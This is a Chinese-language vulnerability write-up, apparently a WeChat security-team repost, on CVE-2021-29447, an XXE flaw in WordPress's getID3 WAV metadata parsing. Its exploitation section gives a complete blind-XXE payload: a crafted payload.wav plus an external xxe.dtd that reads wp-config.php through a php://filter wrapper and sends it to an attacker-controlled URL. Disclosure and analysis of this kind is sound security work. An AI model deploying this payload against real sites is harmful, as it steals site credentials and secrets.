概述
XXE:XML外部实体注入
<myDoc>
<foo>&myExternalEntity;</foo>
<myDoc>
WordPress中的XXE漏洞详情
723 if (PHP_VERSION_ID < 80000) {
724
725 // This function has been deprecated in PHP 8.0 because in libxml 2.9.0, external entity loading is
726 // disabled by default, so this function is no longer needed to protect against XXE attacks.
728 $loader = libxml_disable_entity_loader(true);
729 }
730 $XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', LIBXML_NOENT);
漏洞利用
721 public static function XML2array($XMLstring) {
…
730 $XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', LIBXML_NOENT);
当文件上传到媒体库时,WordPress使用getID3简化元数据提取的过程。调查表明,getID3库在分析其元数据时,解析的字符串是wave音频文件的iXML块。
wp-includes/ID3/module.audio-video.riff.php
426 if (isset($thisfile_riff_WAVE['iXML'][0]['data'])) {
427 // requires functions simplexml_load_string and get_object_vars
428 if ($parsedXML = getid3_lib::XML2array($thisfile_riff_WAVE['iXML'][0]['data'])) {
WordPress确实允许上传wave音频文件,并使用wp_read_audio_metadata()函数提取其元数据。因此,可以通过上传特制的wave文件,注入恶意的XML并解析。可以使用以下内容创建一个最小文件,该文件具备wave文件的必要结构,并且在iXML块中包含恶意有效载荷:
RIFFXXXXWAVEBBBBiXML_OUR_PAYLOAD_
(BBBB为4个字节,代表XML有效载荷的长度)
基于盲注的XXE攻击
当攻击者使用以上方法注入有效载荷时,已解析XML的结果不会显示在用户界面中。因此,要提取敏感文件的内容,还须通过基于盲目的XXE攻击,基本步骤如下:
-
创建第一个外部实体(例如%data),将其值替换为文件内容。
-
创建另一个外部实体,其URI设置为 “http://attacker_domain.com/%data;” 。注意,URI的值包含将被替换的第一个实体。
-
当解析第二个实体时,解析器将向“ http://attacker_domain.com/_SUBSTITUTED_data”发出请求,从而使文件的内容在Web服务器的日志中可见。
为了使外部实体的URI依赖于另一个替换实体的值,我们使用了参数实体和外部DTD。此外,我们利用php://流封装器对文件内容进行压缩和编码。最终实现wp-config.php敏感文件泄漏的代码如下所示:
payload.wav
RIFFXXXXWAVEBBBBiXML
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://attacker-url.domain/xxe.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>>
xxe.dtd
<!ENTITY % data SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=../wp-config.php">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://attacker-url.domain/?%data;'>">
END
本文始发于微信公众号(SecTr安全团队):CVE-2021-29447:WordPress XXE漏洞详情及利用方式
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论